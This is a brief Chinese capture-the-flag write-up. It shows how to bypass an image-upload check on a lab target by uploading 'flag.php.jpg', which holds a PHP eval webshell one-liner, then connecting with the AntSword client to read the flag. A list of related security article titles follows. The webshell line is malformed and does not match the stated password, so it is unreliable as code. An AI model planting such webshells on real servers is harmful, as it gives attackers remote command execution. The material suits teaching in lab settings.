题目
1.打开靶机
随便上传一个图片，查看get请求发现**/upload/XXX.jpg**
2.创建一个脚本文件
命名为flag.php.jpg,并上传
脚本文件内容：
<?php @eval($_POST1234)?>
3上传后复制文件get请求的链接并打开蚁剑
连接密码为123
双击链接
4，查找'/'在最下面找到flag文件
5，打开文件得到flag
相关推荐
网安蟹佬霸6 小时前
OSINT开源情报收集实战：从信息搜集到资产测绘（2026最新万字保姆级指南）游戏开发爱好者87 小时前
WebSocket 抓包怎么查看内容？从握手到消息帧完整解读大方子15 小时前
【PolarCTF】Unserialize_Escape2401_8415851816 小时前
永久免费的一键加密网络验证使用教程 文心云验证数据知道18 小时前
网络安全实战：漏洞扫描器对比——Nessus、OpenVAS、Nuclei 实战评测Latticy18 小时前
vulnhub系列靶机-Matrix-Breakout2Latticy18 小时前
vulnhub系列靶机-Raven2Fnetlink11 天前
FNET 云网安 260819数据知道1 天前
网络安全实战：服务指纹识别——Banner、协议探测、版本漏洞关联网安蟹佬霸2 天前
CTF Web方向解题全攻略：从信息收集到getshell（附实战payload与脚本）